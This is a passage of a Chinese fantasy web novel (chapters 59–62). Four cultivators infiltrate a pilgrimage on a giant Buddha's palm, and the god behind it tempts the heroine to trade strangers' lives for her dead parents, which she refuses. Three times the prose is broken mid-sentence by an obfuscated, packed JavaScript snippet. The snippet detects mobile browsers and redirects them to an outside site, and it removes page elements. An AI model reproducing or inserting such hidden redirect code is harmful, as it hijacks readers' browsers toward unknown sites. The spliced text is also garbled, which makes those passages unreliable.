四人在忘仙台上汇合,都不约而同地松了口气。希声立刻就盘腿坐下,无律很有眼色地给她捏着肩膀,谄媚地问:“驱动瞬移符,很耗法力吧?” 希声说:“哦。” 当晚,四人在忘仙台围炉而坐,互相诉说近况。不闻派被屠杀后,掌门不久即病逝,如今弟子只余希声一人。苍名劝希声重组不闻派,希声说:“我派的奏潮华声曲,原本是东海打渔人的小调。其中意味,非饱经风霜者不能领会。” 无律说:“诶,那你也广招学徒试试么,总会有一个两个聪明的。” 希声淡泊地说:“我平时出去吹曲儿,其实已经将要诀教给一些沿街流浪的小孩子。能不能练成,就看他们的造化了。” “好你个奏潮仙,原来早就闷声办大事!”无律直拍大腿,“有此等妙计,怎地都不告诉我!” 希声反唇相讥:“早先你也不是铜铎派师尊。” 未辞只是静静添火,眼睛追随着苍名,偶尔和她四目相对时淡淡笑一下。 苍名转头看向希声:“这次把你传送过来,真是抱歉,伯母她还自己在家,你休整一下,就再画张符回去吧!” 希声却说:“无妨,我本已安顿好她,在赶回逢焉城的路上,被传过来的。” 无律大手一挥,痛快地说:“赶明你快点把她老人家接到息园三坊,多双筷子而已。我么,从此就要西南中原两端跑了,客栈就靠你们多照料,房钱就免了。” 希声说:“她在老家尚能耕田织布。若来中原,衣食用度又从哪来,我要想想了。” 三个穷鬼都不做声了。唯一富贵的未辞也心不在焉,修长大手托着下巴,不知在想些什么。 苍名郁闷道:“若是逢焉城有间寺庙,每逢初一十五就做酬神歌舞……那就好了!那希声岂不就有了长久的立足之地?” 无律说:“那是勾栏吧?” 苍名大怒,又和无律隔着火炉吵了起来。未辞回过神来,低声对苍名说:“将军,我派出去的探子,方才传回情报了。” 无律急忙问:“霍贤弟,你快说呀。” 未辞不理会他,只是看着苍名说:“明日是十五,此地将有一场……酬神盛会。” 此言一出,三仙都是一愣。无律问苍名:“你这么快就安排好了?为了让希声去吹曲儿赚钱?” 苍名说:“不是我!这地方连只鸟都没有,怎会有人举办庙会?” 希声冷冷地说:“明日去看看,就知道了。” 59. 万里赴神约 这一场鬼神之会,就设在佛掌道场中。为了留意周围的动静,四人一大早就徒步前往,一路上却一个人影都未见。 苍名想了大半夜,也未猜出未辞的手下是从哪里打探到此次盛会的消息,只当是未辞在三界各处都安插了卧底,因此一路上不停地夸他神通广大。未辞听着苍名默传过来的声声赞誉,十分满意,笑而不答,只是传音回答道:“那么,将军不要忘了奖赏属下的那顿饭,上次在悬崖峭壁上,似乎还是属下付的账呢。” 希声和无律始终远远落在两人后面,低声讨论着千年旧货郎到底是何来头,情报是否可靠,万一抵达佛掌后发现有诈,又该如何应变。未辞懒洋洋地嗤笑一声,连头都没回一下。 待到远远看见巨佛,苍名才顿时明白探子是怎么看出佛掌中将要举行酬神盛会了。因为这简直是个人就能看出来。 只见佛脚下有些孱弱如蝼蚁的人影,正顺着从天垂下的瀑布般的石雕衣袖,费劲地往佛掌上爬去。佛掌又恢复如常,被未辞打断的那根手指接了回去,甚至微微翘成兰花状,好像从来就不曾有异样。 冰天雪地,北风呼啸,那些爬高人竟如虔诚朝圣一般。 无律最先叫了起来:“这些凡人会飞檐走壁不成?怎么还没摔死?”希声盯着佛像审视了一会儿,说:“佛像上雕出了梯子。” 四人紧赶慢赶,来到佛像跟前,果然石雕衣褶上有不易察觉的凹凸波纹,如同天梯,浑然天成,直入云端。 最擅长使瞬移黄符的是希声,可希声昨日刚驱动过一张,消耗的法力尚未恢复,况且手里也没有画好的符纸。苍名当机立断,抛出冰刃宝剑:“我们四个一起御剑上去,先在道场外围看个究竟!” 一想到四人要串成一串,紧紧贴在一起,妖王立刻打了个寒颤,冷冷地说:“不要。” 无律说:“哼,本师尊还不想和你们挤呢!”希声梦游般地说:“我们两个爬上去。”无律又是一阵激烈反对:“我现在可是铜铎山的掌门……” 苍名只好妥协道:“你和希声御剑,我和未辞用别的办法上去。冰刃会带你们去佛臂上,然后你们慢慢走到佛掌边缘,但不要进来,进了佛掌就会失去法力……” 无律和希声彼此嫌弃地看了一眼,勉强点头同意。无律提出要求:“喂苍名,你把剑鞘套回到剑上行不行,这么锋利的冰刃,我会害怕的……” 苍名咬牙微笑着还剑入鞘。希声心不在焉地踏上冰刃,无律抱着拐棍跟了上去。宝剑刚飞离地几丈,两人就跪下来抓着剑鞘。 苍名不忍卒视,未辞幸灾乐祸地笑了一声。无律忽然一拍脑袋:“嗨呀,我怎么给忘了,我这次回铜铎山,其实造了架新的马车!” 冰刃又缓缓落回地面。无律伸出拐棍,在雪地上敲击出一段几乎无声的节奏。苍名颇为期待地看着天边,就连希声也抬起头来。 少顷,只见一架金车破马张飞地从天际俯冲过来,敦实地落在几人面前。原来这车是用竹子编成的,外面刷了一层掺杂闪粉的金漆,一路奔波磕碰,近看已经有掉漆之处。 无律维持着骄矜的风范,说:“这几日弟子们恢复传统,为本师尊手制了一架马车。虽然比不上从前铜铎派历代传承的金车,但那架毕竟已被钟无期毁坏,又被妖鬼骑走了……” 苍名和希声钻进马车,未辞也屈尊登车。无律坐在赶车人的位置,鞭策着不存在的马,金车向佛像飞去,大有飞黄腾达之势。无律回头解释道:“这车虽用灵木打造,却不甚灵活,需要我亲自坐镇赶车,我那些弟子们一般坐在车里。” 苍名称赞道:“这样很好,为什么弟子就一定要为师尊赶车呢,师尊也可以亲力亲为的。” 未辞用十分柔和悦耳的声音在她脑海中说:“将军,真是刚硬又有趣的想法呢。” 说话间,金车已穿越云层,悬浮在石雕衣袖附近。苍名打头,一个虎跃就跳上了石像的臂膀,未辞紧紧跟在她身后。希声和无律照例是爬着过来的。 四人照例蒙面的蒙面,易容的易容,吹口哨的吹口哨。佛臂顶端如同一条天然的狭长石路,无律化去金车的实相,几人默契地排成一路纵队,沿石臂慢慢向佛掌走去,还不忘装出一副磕磕绊绊、步伐虚浮的样子,仿佛是朝圣者中的一个。 苍名忍不住夸奖道:“希声无律,你们装起凡人来真是有模有样。” 无律强忍怒气回答道:“我们是真的走不稳。” 来到石臂中段时,终于看见零星的信徒,一个个手脚并用,沿着垂袖上的石梯慢慢爬着。苍名跪在石棱上,伸头问一位最近处的年轻男子:“小兄弟,你们是从哪里来的?” 那人抬头一看,说:“他妈的,怎么你那么快就爬上去了?我记得我是第一个啊?” 苍名一愣,急忙搪塞道:“这个,我们大概是……”无律在后面接了一句:“我们出发得早。” 那人费力地抠着凹陷的石槽,一边加速攀爬,一边气喘吁吁地恐吓道:“不对,我明明是最早出发的。你们敢在鬼神之事上做手脚,我看你们是不得好死!” 希声哼了一声,一记眼刀横来,吓得那人手脚发软,差点大头朝下跌落山崖。希声冰凉地说:“我们不会抢头香。”那人松了口气,又爬了一阵,终于站到几人面前,狐疑地上下打量:“你们几个,新来的吧?” 苍名连忙说:“是啊,慕名而来,我们也要祈愿。”不等她说完,那人已经平伸双臂,像走独木桥一样飞快地小步跑向佛掌道场,将几人甩在脑后。 其余信徒也稀稀拉拉地爬上了衣袖最顶端,四人刻意分散开来,混在这支奇异的队伍中,随众人一起往道场行进。苍名和未辞在前,希声和无律则殿后。只听这一行人彼此低声交谈道: “不知今日的酬神盛会,能不能显灵?” “去你的吧,上神是那么容易亲自现身的吗?好好许你的愿得了。” “喂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409867|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说了嘛,有个小子没爬上来,摔到山下去了,大雪一埋,别想有人给他收尸了。” “这算什么,上次还有个老太婆也非要来敬神酬神,直接给冻死啦……” 苍名只觉毛骨悚然。未辞传音道:“哪里是信徒,分明是一群赌徒。” 无律这时也小声念叨:“这些乌合之众,简直是恶鬼的信徒。”说完这句,他就脚下一滑,差点摔倒在细长的石路上,吓得大叫一声,惹得前后的人嫌弃地看着他。希声抓住他的拐棍,才让他维持住平衡。 苍名混在几个妇女中间,悄悄问道:“几位是从哪里来的?这关外雪原,不是没什么人了吗?” 走在前面的一位妇人回头反问道:“那你是怎么来的?” 苍名说:“我们……我从前是在这里长大,回来……探亲……” “咳,我说呢。”那妇人小心翼翼地往前走着,“你不知道么?每逢初一十五,神路就开了,所以要做酬神盛会款待下凡的神之灵。不论你家住何方,只要提前出发,一路徒步前往北原,必能到达山海关外的法阵。” 身后另一位妇人接口道:“只要踏进法阵,就能被传送到佛脚下,然后慢慢爬上来就行了。你说这神,是真的灵呀!” 苍名暗中记下法阵方位,回头与未辞对视一眼,忧虑重重。未辞眨眨眼睛,只听他在苍名耳中轻松地说:“音律仙这下不是有了几个弟子吗?增派人手去查便是了。” 佛掌中已经聚集了不少人,苍名和未辞也随着众人围坐成圈,转头再找希声和无律,两人一个蒙着包袱皮,一个易容成路人,再也寻觅不见。 流云穿行,雾气浓重,依稀可见身边人全都闭眼念念有词,嘴巴一开一合。再远处,便什么都看不见了。北风吹起,送来更厚重的水汽,场中云海雾浪,不见人影,只闻低语,嗡嗡作响,此起彼伏。 苍名细听之下,才发觉那是众人的祈愿。有人在许愿让哥哥暴毙,自己好继承嫂子,有人在恳求无上神君保佑自己的儿子大病痊愈,还有人竟然说要用自己爹娘的十年寿命换取官位。 苍名揉着眉心,只觉得烦躁。未辞的手轻轻覆上她的膝盖,她抬起头,对上未辞那双沉静冷清的眼睛,心中轻松了一些。 信徒逐渐灌满了佛掌。道场中一片乌泱乌泱的人头,有的衣着破破烂烂,有的又是锦缎貂裘。一位老妪转过脸来看了一眼苍名和未辞,问道:“你们两个是来求什么的?房中秘事么?” 苍名张口结舌。未辞轻咳一声,答道:“不劳费心。”那老妪打量着他,说:“看来是你的问题了?那是要好好拜一拜了。” “……” 人群中突然卷起一阵波动。无数信徒紧张地伸长了脖子,煞有介事地彼此提醒道:“来了,来了,肃静!” 苍名屏住了呼吸,紧紧盯着人圈中的空地。只见金光乍现,破开弥漫的云雾,赫然现身的,正是穿着绣花鞋的老鬼莲,和白发苍苍的李弦真。 60. 香鼎炼邪狞 苍名几乎没有吃惊和意外,只是下意识地按了按面具,转头去看未辞。只见未辞不知何时戴上了一张狐狸面具,做工考究,用料质地类似她的兔脸面具。 对上她的目光,未辞眨了眨眼睛,传音道:“将军,我们两个现在,真像是要一起逛年宵夜游会呢。” 苍名稍稍放下心来,在面具下微微笑了一下:“年宵会吗?好啊,那我们一会儿就来比比,看谁先打到那两个信徒头子。” 未辞淡淡地说:“看来,这道场的主人,又是老熟人了。只是李弦真竟然投靠老鬼莲的主子,跟老鬼莲成了同僚,真是有趣极了。” 此时道场中一片肃静,众人都席地围坐,仰头虔诚地盯着圈子中央的李弦真。李弦真果然没有认出苍名和未辞,只是一脸麻木地立着,失神地看着前方。她身上穿着黑色的衣袍,上面用金线绣着复杂的图案,似乎是祥云中的宫殿与山川。 老鬼莲站在香鼎旁边,向鼎内张望着,脑袋一点一点的。苍名悄悄问刚才那老妪:“这个穿绣花鞋的人在做什么?” 老妪小声答道:“当然是清点供奉了。”苍名听得半知半解,心道香火已经燃尽,一炉子香灰有什么可清点的? 老鬼莲终于抬起头,对李弦真说:“已足,今日之。”苍名暗自咋舌,如今老鬼莲被他主子做成绣鞋傀儡,理应高人一等、法力精湛,想不到却和乱坟岗里挖出来的死尸没什么两样。昔日忠诚部下变成行尸走肉,必将留给后人品评唏嘘。 未辞听见了她的想法,不禁微微弯了一下唇角:“将军真是性情中人。” 李弦真厌恶地看着老鬼莲,满脸都是恨意。她的拳头微微发颤,看来是想将他千刀万剐成碎布条,再一把火烧掉都不解恨。但她只是下令道:“起鼎。” 老鬼莲伸出破烂的布筒胳膊,像撞钟一样敲打着巨鼎,嘀嘀咕咕地做起法来。很快,一些黑油般的东西从鼎中爬了出来,随意变幻着形状,慢慢穿过人群走出道场。那软绵绵、懒洋洋的样子十分肉麻,满地信徒却仿佛没有看见。 未辞冷冷地说:“邪狞。” 苍名又伸出头去,偷着问那老妪:“鼎里的东西,你看见了吗?”老妪奇怪地说:“鼎里?不就是香火么?” 果然,凡人的双眼是看不见邪狞的。鼎中落入的不仅是祈愿声和香火的灰烬,还有许愿者心中的怨气和偏执。来自人间的,强烈的扭曲的情感,就是献给道场主人的供奉。 苍名四下转头,搜寻着吃惊的面孔或不安的肢体,企图通过细微的反应辨认出希声和无律。然而佛掌中云海翻腾,视线模糊,只得作罢。 待到最后一只邪狞离去,李弦真缓缓开口了:“诸位的祈愿,大王已收到了。”众人纷纷喊了起来:“大王呢?我们要拜见大王!” 李弦真木然地说:“大王从不亲自显灵。” 有个胆大的喊了一句:“先前那个头戴莲花扇子、穿粉白色衣服的大仙呢?他说过大王会眷顾我们这些信徒的!”李弦真置若罔闻。 一片吵闹声中,苍名再次和那老妪交头接耳:“这个白发女子,是道场新上任的女官吧?” “正是。唉,我一把老骨头了,本想着能有幸见大王一面,当面磕头许愿呢。”老妪瞥了一眼未辞,用一副过来人的口吻劝告道,“年轻人,肾精不足就多来祈愿上供,没什么不好意思的。” 未辞一脸寒冰,咬牙说:“将军,我行不行,你是知道的。” 苍名吓了一跳,急忙说:“我……什么时候知道了?”话虽如此,一些碎片般的画面突然蹦了出来。有力的臂膀,结实的身躯,还有密不可说之处的火热温度和坚硬触感……苍名几乎能感受到滚烫的身体贴着自己的皮肤,于是又改口说:“好像……也知道一点……” 身后有两个脑袋默不作声地凑了过来。苍名一转头,才发现这两个人一直抻长脖子旁听这场对话,眼睛也一眨不眨地盯着她和妖王。 见她回头,那个市井小贩模样的男青年说:“知道一点什么?继续聊呀,刚才说到什么?有人肾气不足,先天体寒,需补充纯阳之精华?” 一旁的人戴着兜帽,用一块包袱皮遮面,冷冷地说:“不过有人不承认。” 未辞:“……将军。” 苍名喜上眉梢,依次给了那两人一拳:“原来你们在啊!”无律得意地摸着下巴,希声平静地说:“嗯。趁乱爬过来的。” 于是苍名便将李弦真的身份说与二人,约定暂且按兵不动,静观其变。希声留神看了一眼李弦真,说:“难怪头发白了。” 众人叫嚷了半天,李弦真始终只是微微佝偻着站在寒风里。叫声终于逐渐平息,李弦真漠视满场信徒,用嘶哑的声音宣布:“大王有旨,这一次,请诸位去殿中会面。” 这一下,全场炸开了锅。信徒个个满脸喜色,佛掌中人声鼎沸。 “这可是从没有的事!大王体恤民情,今日开恩了!” “我见了大王,就给他老人家磕上一百个响头,把下辈子的荣华富贵都求来,哈,啊哈哈哈……” “敢问这位大仙,咱们要怎么去大王殿中?” 老鬼莲突然打了个立正,拖声拖气喊道:“肃——静——”配上他歪来歪去的纸颅、狰狞吐舌的面孔,全场都打了个哆嗦,一时间噤若寒蝉。 苍名眉头紧锁,单膝跪地,一手按住剑柄,准备随时飞身而出。她在脑海中风驰电掣地思索着对策,却益发焦虑无头绪。道场中的结界早已修补好,恐怕除了未辞,其余三人都无法施展法力。 未辞也已经欠身蓄势待发。他安抚地将手放在苍名腰间,同时不忘耿耿于怀地轻声说:“待会儿若是打起来,将军就能看到我行还是不行了。” 李弦真跪在香鼎前,合掌朝拜:“大王有灵,请降密令。” 当着众人的面,香鼎消失了。金光漫漫,云开雾散,原本摆放巨鼎的地方,赫然出现一圈法阵。 李弦真说:“这传送法阵,想必诸位都熟悉。只不过,这一道法阵不是将诸位送到山下,而是送到大王的内殿。” 顿时,一众信徒疯了般地山呼万岁,争相恐后便要往那金圈里涌入。 “慢!”苍名大喝一声,闪身冲到法阵前,长剑向下一挥,拦住一群狂徒的去路。 那群狂徒却像泥鳅一样油滑地调转方向,便要绕过苍名继续奔进法阵。而其余方向的人群更是如蚂蚁般密密麻麻拥上来,一人一剑岂能拦尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李弦真仰头哀嚎一声,嗓子已经劈成玻璃碴子一般。她恨恨地盯着苍名,说:“你懂什么?你永远不会懂!我把老鬼莲的尸身偷出来交给大王,入大王座下听令,全是为了事成之后,大王便让怡儿活过来!” “他已魂飞魄散,怎么让他活?”想到花怡,苍名一阵悲哀,“即便天神,也不能让人复活。” 李弦真突然双膝一软,伏倒在地,抓着石地大哭起来:“他能活!他能活……” 苍名剑尖下指,沉默地看着她。李弦真叩首道:“我求求你了,你就从了大王,你就去见大王……我的使命就完成了,怡儿就回来了……” “见大王?”未辞步步逼近,质问道,“让她归降你的大王,还是被你的大王杀死?” 李弦真恍恍惚惚,痛哭不已,还在声声呼唤花怡的名字。苍名不怒自威:“大王,到底是什么人?十七烟和弦真屿的结界,恐怕也都是这位大王的手笔了。” 身后,无律累得上气不接下气,远远喊道:“快点,这群人猛得很,要拦不住了……” 李弦真抬起头来,皱纹中淌满泪水,喃喃自语:“大王是天神,天宫里的天神,一定有办法让怡儿回来的。” 苍名只觉得大脑嗡地一声,心中一阵天塌地陷。 61. 天神惑道心 信徒如潮水般源源不断地涌入法阵,抱怨着法阵怎地还不快点传送,将无律和希声冲得东倒西歪。无律想用拐棍阻拦,反而差点被抢走拐棍,顿时气得咒骂起来。 银白色飞鸥还在苍名四周盘旋萦绕,驱散开混乱奔跑的人,为苍名圈出一片清净地。未辞厌烦地看了一眼四周,低声吐出一句:“贪得无厌。” 苍名脑中嗡鸣昏沉,仿佛被打过一拳,只得勉强维持着清醒。她盯着李弦真,长长地呼出一口气,仍旧不死心地问:“你说的天神,到底是什么意思?” 李弦真无力地说:“你去见了,不就知道了?” 苍名抬手指着周围乱纷纷的人,说:“你放了他们,我自会去见一见这天神。” 李弦真疲惫不堪,摇头说:“跑不出去了。今天的酬神盛会,没有送他们下山的法阵。” 苍名沉着脸说:“那么,你告诉他们,现在还不能去内殿,要留在这里起舞祝祷。” 李弦真挥手叫来老鬼莲,费了一番功夫,才叫他听懂指令。老鬼莲原地打晃,拖着长舌高喊道:“肃——静——” 骚动终于平息下来。李弦真嘶哑地说:“大王有令,现在还不到面见的吉时,命诸位起舞祝祷,以飨神灵。” 那群信徒一听,立即交口称赞:“大王果然是高雅,这酬神大会名不虚传!” 又有人大声说:“试想,在一片歌声舞姿里,大王缓缓现出身影,是何等美事!” 未辞冷冷地哼了一声。刚才还争得头破血流的人,这会儿彼此挎着胳膊,喊着祝词,绕着金圈法阵跳起舞来。惨白色的道场中,衣袂挥动,五花八门。 无律和希声挤出重围,来到苍名身边。无律伸出大拇指夸道:“是你的鬼计吧?小弟佩服!” 苍名一把抓住两人,沉沉说道:“道场主人,是天神,而且……或许是……”她舌头打结,始终说不出师祖的名字。 希声的眼睛蓦然睁大了。无律难以置信地问:“这叫什么话,天神……天神……可是天上的神!” 未辞紧贴在苍名身后,嘲讽地说:“正是,就是万人敬仰的、天宫里的神官。” 李弦真已经逼近上来,死死盯着苍名。苍名匆匆说:“载歌载舞也拖不了多久,说不定这些人何时就被抓去了。希声无律,你们放信号求助这附近的道士,来的人越多越好。我和未辞,要去会一会那位天神。” 无律说:“叫人吗?这个好说,我可以连徒弟们都叫来的,还有欠账的小妖小鬼们……” 苍名拉着未辞的手,两人对视一眼,一步跨进金圈里。不可直视的金光,像喷泉一般拔地而起,直冲云霄,将两人包裹在其中。 未辞安慰地捏了捏她的手,轻声调笑道:“将军,现在似乎不再唱独角戏了,倒是喜欢多找些道士一起抓鬼了。” 苍名抬头看着他那双柔和的眼睛,抿嘴一笑:“是,我现在明白了,独角戏又能唱多久呢?作配的角儿,或许也都有自己的唱念做打……” 未辞嗯了一声。苍名又说:“我害怕,如果真的是师祖……” 金光退去,四周冷冷清清,佛掌中空无一人。未辞的眉毛压了下来,苍名警惕地打量着四周:“我们并没有被传送到神殿。这里似乎还是佛掌,方才的人去哪了?希声和无律呢?莫非这是另一只佛手?” 未辞轻声说:“当心。” 多年来训练出的直觉让苍名后背一凉,蓦然转身,只见一名高大的黑衣男子立在不远处,脚踏祥云,周身有金光护体,正静静看着二人。 苍名的心剧烈地跳动了一下。她抓紧了未辞的手,咬牙说道:“是他……是我说过的那位,护世神。” 天神从容地向苍名走来,嘴角似扬似垂,一副悲天悯人的模样。虽然从未谋面,但他的形象和壁画典籍中记载的一模一样。 昔有武神,旷世之尊,抬手灭邪灵,垂眸悯世人。 未辞在她耳边说:“至少,不是她。”苍名说不上心中是安慰还是讽刺。多年来仰慕的天神,天下武修道士都想成为的至尊人物,原来是祸乱人间的幕后真凶。 苍名迎着他的目光,笔直地盯了回去:“周围的人哪去了?” 护世神随和地笑了,一开口,说话声音都带有兵器碰撞的回响:“敬苍名,敬苍名。我们又见面了。” 未辞轻蔑地说:“套什么近乎。” 护世神轻轻握住身侧佩剑,说:“诶,那日我附在巨佛上,与你们见过面的,还低头看了你们好一会儿,怎么忘了?” 未辞冷笑道:“原来护世神的绝技,就是乘人之危发动雪崩么。” 苍名补充道:“绣花鞋穿得合脚么?护世神原来有穿红鞋的癖好呢。” 护世神的嘴角上下起伏了几下,忽然一挥手,周围现出了闹哄哄的人群,正是方才的信徒,个个纵情舞动,还要拉着希声一起,把希声烦得反手就是一顿乱打。 护世神微笑道:“你看,他们一直在这里,隐藏起来的是我们。” 见法阵中央突然现出三个人,信徒们全部愣在原地。高举过头顶的手,抬起来的脚,全都悬停在空中。 李弦真猛地扑倒在护世神脚下,叩头如捣蒜:“我已完成您的命令,求您把怡儿带回来吧,求您……”护世神一挥手,老鬼莲把她拉走了。破布娃娃的手一碰到她,她就撕心裂肺地大叫起来。 周围乌泱乌泱的信徒们不明所以,还在互相询问:“这个黑衣人是谁?那两个戴面具的人又是做什么?” 护世神用只有几人之间能听见的声音说:“你若归降,为我效力,我们便能一统三界,不好么?” 苍名忽然想起那处破败的院落中,乌鸦精曾点破人间帝王勾结妖鬼,还大言不惭地说妖鬼和天神拜了把兄弟。未辞轻笑一声:“原来是这样,把兄弟。” “你若是执意忤逆天神的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426350|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旨意,那么,”护世神挥了挥手,云淡风轻地说,“这些人,连同你的两个朋友,和那些正在赶往这里的虾兵蟹将,他们全都会在眨眼之间化为乌有。” 佛手中的一切,护世神洞若观火。苍名等人的一言一行,一举一动,原来都是在股掌之中,皆被尽收眼底。 希声已经来到苍名身边,凌厉地审视着这位天神。她对苍名说:“不必听他的。做你该做的事。” 苍名悄悄握了一下她的手,然后对护世神说:“这里人太多,我们换个地方玩玩。不就是给你当手下么,有什么不能谈的?” 护世神玩味地说:“好极了。不过,为了让你知道花招不是永久的通行令,我要给你看一点真格的东西。” 呲啦一声,似乎有把无形的剑刃飞过,离法阵最近的一圈人应声倒地,变为一张空皮。重剑无锋,出剑无影,没有人察觉他是何时出手的,生与死只在一瞬间。 “住手!”苍名又惊又怒,拔剑挥去,未辞赤手空拳,同她一起向护世神攻去。护世神轻松地闪开,两人旋即一左一右再度攻上,三人缠斗在一起。 目击了这场杀戮的信徒,早已被那些突然丧命的人吓得魂飞魄散,没命地往外逃去。外围的信徒不知道这里发生的一切,反倒还在往里面挤过来。 苍名一柄长剑舞得眼花缭乱,不忘听着身后的动静,希声似乎在挨个察看那些空皮,又在警告众人还不快走。从外圈涌上来的人却还在交口称赞道:“快看,今日有酬神表演呢!这身手真是漂亮极了……” 护世神并不急于杀死苍名,只是飞来飞去地躲避着袭击,用一种近似吟唱般的声调说:“世人,就那么值得救么?好姑娘,你难道,不想再见到你的父母么?” 苍名的心仿佛从高空掉落,重重地砸了下来。未辞一掌劈去,轻喝一声:“将军,当心他会迷心法术!” 的确,护世神的咏叹和绣花鞋妖如出一辙,也和老鬼莲的小曲儿别无二致,甚至和天心沭地宫里突然出现又突然消失的低吟也同宗同源。护世神虽然是幕后主使,却也亲力亲为,无处不在。 苍名咬咬牙,一剑破开北风,如流星般刺来:“你以为,我还会被那些小调打败么?” 流风回雪中,未辞剑眉星目,双眼熠熠生辉。他一边珠联璧合地配合着苍名的进攻,一边朗声说道:“将军,你再也不会被那些事打败了。以后,有我陪你。” 护世神堪堪躲过未辞的一拳,又差点被苍名一剑扎穿。躲过了苍名的剑尖,又被未辞横扫一脚,顿时气急败坏起来。但他仍旧用那种温吞而暧昧的声音,半说半唱道:“爷娘魂飞散,神灵犹在天。终日徘徊苦,换命能改天。” 苍名一个侧空翻避开他的笑面,反手回勾,利落地刺出一剑:“鬼叫什么!” “我是在告诉你,”护世神用周身的金光格开了苍名的冰刃,“换命,能让你死去的父母重新回到你身边。” 62. 妖鬼克神君 苍名的剑指着护世神,却迟迟刺不下去。未辞站在她身前,与护世神一般高度,紧盯着他的眼睛。护世神看了一眼未辞,说:“你喜欢她,也希望她能重新找回父母,过着掌上明珠的日子,是不是?” 苍名的嗓音不再波澜不兴了:“我父母在哪?” 护世神用一种柔媚的声音循循善诱道:“用别人的命换回他们的命,你们一家就能够团圆了。好姑娘,你不想再被母亲的手抚摸一次么?你不想再跟你父亲说说话么?” 极致的诱惑就像海面上危险的漩涡,似乎要让人身不由己地卷入其中。苍名出神了。圈外的众人有的逃命,有的伸长脖子问酬神表演怎么停了,催三人快快继续打斗比武。 护世神轻轻竖起一根手指,一圈金光再次隔绝了外界的吵吵嚷嚷,活的信徒和死的信徒都消失了,北风中只余三人对峙。 未辞看着苍名,眼里闪动的都是怜惜和心痛的光亮。苍名闭了一下眼睛,说:“用什么人去换他们的命?” 护世神温和地说:“李重山夫妇杀死了你的父母,对吧?那对陶人,曾经被你这位郎君放在雪结未央的墓里,似乎是要他们陪葬谢罪呢。我取出未央冠时,顺便把这对陶人也带走了。” 未辞踏上前一步,满眼都是压迫感:“今日始知偷鸡摸狗才能封为天神,好个三界奇观。”护世神微笑着伸出一只手制止道:“未央冠放在十七烟中,由我那仆人老鬼莲看管,后来便被你夺去了,我可曾追究过?而那对陶人原本也是放在十七烟的,不料却被天心沭偷走,流落到李弦真手里,真是意想不到。” 未辞嘲笑道:“你那仆人未免太没用了些,恐怕是有其仆必有其主。”苍名的眼里浮现出许多红血丝,仍旧剑指着护世神,毫不客气地问:“你到底想说什么?” “老鬼莲曾是我忠诚的仆人,却不堪重用。我爱才心切,叫他设法引出你,谁知他借珠冠挑起四大流派争斗,又每每加害于你,实在有违我的初心。”护世神十分烦恼地摇着头,手捧左胸,酣畅淋漓地表达惋惜,“后来我便引天心沭去伏击那所谓的狗官,又引你去降服老鬼莲,皆因这一节缘故。” “你以为,我会相信你的伪善吗?”苍名嘶哑地质问道,“你说得真是好听,好一个引我降服老鬼莲,你是怎么引的?在十七烟布设诅咒、给逢焉城送上洪水和瘟疫?” “哪里。十七烟里囤积了无数少年尸身,那是老鬼莲的杰作,怎么会是我做的?”护世神圆滑地答道,“我乃天界神官,岂能布设此等卑劣诅咒?” 苍名不为所动:“若不是你设的,你又怎么对十七烟里的一切了如指掌,难道你每日去替你的仆人清点尸体不成?”未辞嗤笑了一声。 护世神脸色变了:“舞将军,切莫以为我永远这般好声好气地同你商量。方才我说李重山夫妇的陶人曾一度在我手中,我本是准备用那对陶人作为厚礼献上,以表我的诚意。我劝舞将军,还是不要倔强,消受了这杯敬酒为妙。” 苍名喉头动了一下,还是问了出来:“你说要带回我的父母……可是,没有谁能叫人复活。而且,我父母都已魂飞魄散……”未辞低声说:“将军。” 护世神拂了拂衣袖,神秘地笑道:“你看见这佛手中的信徒了么?他们许的愿望千奇百怪,作为交换,我是要收一点供奉的。有些人许的愿无法无天,比如让重病的儿子重新跟好人一样……我就只好取她的性命作为报偿了。只需找上这么两个人,让他们魂飞魄散,碎裂成的每一片魂魄,每一缕青烟,都将换回你父母的那些碎片。” 苍名惨淡地看着他,一声不吭。她想起了父母的脸,又想起冬夜听母亲讲鬼怪志异的故事,夏夜和父亲躺在摇椅上乘凉……护世神说:“你心动了,不是么?” 天上下起了鹅毛大雪。苍名伸出一只手托住雪花,片片飞花,触手即化,北原的冬天冰冷又熟悉。未辞轻轻说道:“苍苍,无论你选择什么,我都支持你。” 苍名抬起头来,目光湿润地望着他,眼睛就像雪化之后的寒潭。接着,她转头对护世神一字一句说道:“我不会用别人的命换我父母的命。” 护世神惊呆了,连装深沉都忘了。他眯起眼睛问道:“说什么?我没听错吧?舞将军连爹娘都不要了?”说着,他还将一只手放在耳边,作出侧头过来洗耳恭听的样子,搞得苍名一阵恶寒。 未辞深深地看着苍名,嘴角微微泛起微笑,眼睛却是雾气深沉的。苍名长剑一收,背到身后,拉住未辞的手。两人对视着,然后一齐看向护世神。 